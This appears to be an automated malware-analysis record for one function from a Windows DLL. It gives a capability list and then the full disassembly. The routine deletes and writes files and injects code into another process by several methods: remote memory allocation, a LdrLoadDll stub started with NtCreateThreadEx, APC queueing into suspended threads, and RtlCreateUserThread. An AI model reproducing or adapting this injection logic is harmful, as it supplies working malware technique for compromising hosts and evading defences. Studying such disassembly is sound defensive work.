Function at 0x1000ba40
Capabilities:
Allocate or change rwx memory
Check if file exists
Delete file
Enumerate threads
Execute shellcode via indirect call
Get file attributes
Link many functions at runtime
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001c1b8
mov eax, dword fs:[0]
push eax
sub esp, 0x288
mov eax, dword [0x10023210]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x18]
mov dword [ebp - 0x260], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov esi, edx
cmp edi, 5
ja case.default.0x1000ba97
jmp dword [edi*4 + 0x1000c310]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1000bac7
mov edx, dword [ebp - 0x260]
push 0x10020140
push edx
call fcn.1000b9a0
jmp case.default.0x1000ba97
push 0
push 0
push 4
push 0
push 1
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1000bafa
mov eax, dword [ebp - 0x260]
push 0x10020164
push eax
call fcn.1000b9a0
jmp case.default.0x1000ba97
mov edx, dword [ebp - 0x26c]
push 0
lea ecx, [ebp - 0x278]
push ecx
push esi
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x270]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x1000bb49
mov ecx, dword [ebp - 0x260]
push 0x1002017c
push ecx
call fcn.1000b9a0
jmp case.default.0x1000ba97
mov eax, dword [ebp + 0xc]
sub eax, 0
je 0x1000bfa0
dec eax
je 0x1000bd7d
dec eax
jne 0x1000bffc
push str.ntdll.dll
mov dword [ebp - 0x270], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
mov dword [ebp - 0x268], esi
test esi, esi
jne 0x1000bb97
mov edx, dword [ebp - 0x260]
push str.ntdll.dll_error
push edx
call fcn.1000b9a0
push edi
jmp 0x1000c2eb
push str.RtlInitUnicodeString
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LdrLoadDll
push esi
mov dword [ebp - 0x25c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
mov dword [ebp - 0x258], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x24c]
push ebx
push ecx
call fcn.10014d50
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add esp, 0xc
push 4
push 0x3000
xor eax, eax
push 0x1000
push eax
push edi
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 0xffffffff
call esi
mov ebx, eax
test ebx, ebx
jne 0x1000bc19
mov edx, dword [ebp - 0x260]
push str.VirtualAllocEx_error
push edx
call fcn.1000b9a0
push edi
jmp 0x1000c2eb
push 0
push 0x224
lea eax, [ebp - 0x25c]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000bc59
mov ecx, dword [ebp - 0x260]
push str.WriteProcessMemory__error
push ecx
call fcn.1000b9a0
push 0x8000
push 0
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
jmp 0x1000c2eb
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call esi
mov esi, eax
test esi, esi
jne 0x1000bc95
mov edx, dword [ebp - 0x260]
push str.VirtualAllocEx2_error
push edx
call fcn.1000b9a0
push 0x8000
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
jmp 0x1000c2eb
push 0
push 0x1000
push 0x1000ba00
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1000bce0
mov eax, dword [ebp - 0x260]
push str.WriteProcessMemory2_error
push eax
call fcn.1000b9a0
push 0x8000
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call ebx
push 0x8000
push 0
push esi
push edi
call ebx
push edi
jmp 0x1000c2eb
mov ecx, dword [ebp - 0x268]
push str.NtCreateThreadEx
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x1000bd29
mov edx, dword [ebp - 0x260]
push str.NtCreateThreadEx_error
push edx
call fcn.1000b9a0
push 0x8000
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call ebx
push 0x8000
push 0
push esi
push edi
call ebx
push edi
jmp 0x1000c2eb
push 0
push 0
push 0
push 0
push 7
push ebx
push esi
push edi
push 0
push 0x1fffff
lea ecx, [ebp - 0x270]
push ecx
call eax
cmp dword [ebp - 0x270], 0
jne 0x1000bd66
mov edx, dword [ebp - 0x260]
push 0x1002040c
push edx
call fcn.1000b9a0
push edi
jmp 0x1000c2eb
mov eax, dword [ebp - 0x260]
push 0x10020418
push eax
call fcn.1000b9a0
push edi
jmp 0x1000c2eb
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.NtAllocateVirtualMemory
push str.ntdll.dll
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtWriteVirtualMemory
push str.ntdll.dll
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtSuspendThread
push str.ntdll.dll
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtAlertResumeThread
push str.ntdll.dll
mov dword [ebp - 0x288], eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtQueueApcThread
push str.ntdll.dll
mov dword [ebp - 0x284], eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 4
mov dword [ebp - 0x280], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x264], esi
cmp esi, 0xffffffff
jne 0x1000be22
mov ecx, dword [ebp - 0x260]
push 0x10020204
push ecx
call fcn.1000b9a0
push edi
jmp 0x1000c2eb
lea edx, [ebp - 0x30]
push edx
push esi
mov dword [ebp - 0x30], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
jne 0x1000be50
mov eax, dword [ebp - 0x260]
push 0x10020218
push eax
call fcn.1000b9a0
push edi
jmp 0x1000c2eb
mov ecx, dword [ebp - 0x270]
cmp dword [ebp - 0x24], ecx
jne 0x1000bf41
mov eax, dword [ebp - 0x28]
push eax
push 0
push 0x10
mov dword [ebp - 0x274], eax
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 0x26c], eax
test eax, eax
je 0x1000bf6f
push 4
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x288]
test eax, eax
je 0x1000bed6
mov ecx, dword [ebp - 0x26c]
lea edx, [ebp - 0x268]
push edx
push ecx
mov dword [ebp - 0x268], 0
call eax
push 0x1002018c
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0x26c]
push 0
push 0
push esi
push eax
push edx
call dword [ebp - 0x280]
mov esi, eax
mov eax, dword [ebp - 0x284]
test eax, eax
je 0x1000bf26
mov edx, dword [ebp - 0x26c]
lea ecx, [ebp - 0x268]
push ecx
push edx
mov dword [ebp - 0x268], 0
call eax
test esi, esi
jne 0x1000bf56
mov eax, dword [ebp - 0x260]
push 0x10020258
push eax
call fcn.1000b9a0
mov esi, dword [ebp - 0x264]
lea ecx, [ebp - 0x30]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1000be50
jmp 0x1000bf80
mov edx, dword [ebp - 0x260]
push str._tgHe
push edx
call fcn.1000b9a0
mov esi, dword [ebp - 0x264]
jmp 0x1000bf80
mov eax, dword [ebp - 0x260]
push 0x10020290
push eax
call fcn.1000b9a0
cmp dword [ebp - 0x274], 0
jne 0x1000bf9a
mov ecx, dword [ebp - 0x260]
push 0x100202b0
push ecx
call fcn.1000b9a0
push esi
jmp 0x1000c2eb
lea esi, [ebp - 0x34]
call fcn.10006960
cmp dword [ebp + 0x10], 0
mov dword [ebp - 4], 0
push ebx
je 0x1000bfcc
mov edx, esi
push edx
call fcn.1000daa0
mov eax, dword [ebp - 0x260]
push 0x1002019c
push eax
jmp 0x1000bfe8
lea ecx, [ebp - 0x34]
push ecx
mov dword [ebp - 0x24], 1
call fcn.1000daa0
mov edx, dword [ebp - 0x260]
push 0x100201b4
push edx
call fcn.1000b9a0
lea eax, [ebp - 0x34]
mov dword [ebp - 4], 0xffffffff
call fcn.100069d0
push edi
jmp 0x1000c2eb
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
jne 0x1000c02c
mov eax, dword [ebp - 0x260]
push 0x1002017c
push eax
call fcn.1000b9a0
jmp case.default.0x1000ba97
mov eax, edi
sub eax, 3
je 0x1000c294
dec eax
je 0x1000c0a1
dec eax
jne 0x1000c2ea
push 0x40
push 0x1000
push esi
push ebx
call fcn.10006070
mov ecx, dword [ebp - 0x26c]
push 0
push esi
push ecx
push edx
mov edi, eax
push edi
push ebx
call fcn.10006420
push str.RtlCreateUserThread
lea esi, [ebp - 0x27c]
call fcn.10005fa0
push ebx
lea edx, [ebp - 0x264]
push edx
mov edx, edi
mov eax, esi
mov dword [ebp - 0x264], 0
call fcn.1000dc40
mov eax, dword [ebp - 0x264]
test eax, eax
je 0x1000c2ea
jmp 0x1000c2d2
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.NtAllocateVirtualMemory
push str.ntdll.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtWriteVirtualMemory
push str.ntdll.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtSuspendThread
push str.ntdll.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtAlertResumeThread
push str.ntdll.dll
mov dword [ebp - 0x288], eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NtQueueApcThread
push str.ntdll.dll
mov dword [ebp - 0x284], eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 4
mov dword [ebp - 0x280], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x268], edi
cmp edi, 0xffffffff
jne 0x1000c140
mov ecx, dword [ebp - 0x260]
push 0x10020204
push ecx
jmp 0x1000c2e5
lea edx, [ebp - 0x30]
push edx
push edi
mov dword [ebp - 0x30], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
jne 0x1000c160
push 0x10020218
jmp 0x1000c2de
mov ecx, dword [ebp - 0x270]
cmp dword [ebp - 0x24], ecx
jne 0x1000c232
mov eax, dword [ebp - 0x28]
push eax
push 0
push 0x10
mov dword [ebp - 0x278], eax
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 0x264], eax
test eax, eax
je 0x1000c260
push 0x40
push 0x1000
push esi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, dword [ebp - 0x26c]
push 0
push esi
push edx
mov edi, eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x288]
test eax, eax
je 0x1000c1da
mov edx, dword [ebp - 0x264]
lea ecx, [ebp - 0x274]
push ecx
push edx
mov dword [ebp - 0x274], 0
call eax
push 0
push 0
push 0
push edi
mov edi, dword [ebp - 0x264]
push edi
call dword [ebp - 0x280]
mov dword [ebp - 0x264], eax
mov eax, dword [ebp - 0x284]
test eax, eax
je 0x1000c212
lea ecx, [ebp - 0x274]
push ecx
push edi
mov dword [ebp - 0x274], 0
call eax
cmp dword [ebp - 0x264], 0
jne 0x1000c247
mov edx, dword [ebp - 0x260]
push 0x10020258
push edx
call fcn.1000b9a0
mov edi, dword [ebp - 0x268]
lea eax, [ebp - 0x30]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1000c160
jmp 0x1000c271
mov ecx, dword [ebp - 0x260]
push str._tgHe
push ecx
call fcn.1000b9a0
mov edi, dword [ebp - 0x268]
jmp 0x1000c271
mov edx, dword [ebp - 0x260]
push 0x10020290
push edx
call fcn.1000b9a0
cmp dword [ebp - 0x278], 0
jne 0x1000c28b
mov eax, dword [ebp - 0x260]
push 0x100202b0
push eax
call fcn.1000b9a0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000c2ea
push 0x40
push 0x1000
push esi
push ebx
call fcn.10006070
mov ecx, dword [ebp - 0x26c]
push 0
push esi
push ecx
push edx
mov edi, eax
push edi
push ebx
mov dword [ebp - 0x278], edx
call fcn.10006420
mov edx, dword [ebp - 0x278]
push 0
push 0
push edx
push edi
push ebx
call fcn.10006560
test eax, eax
je 0x1000c2d9
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10020424
mov eax, dword [ebp - 0x260]
push eax
call fcn.1000b9a0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 0x14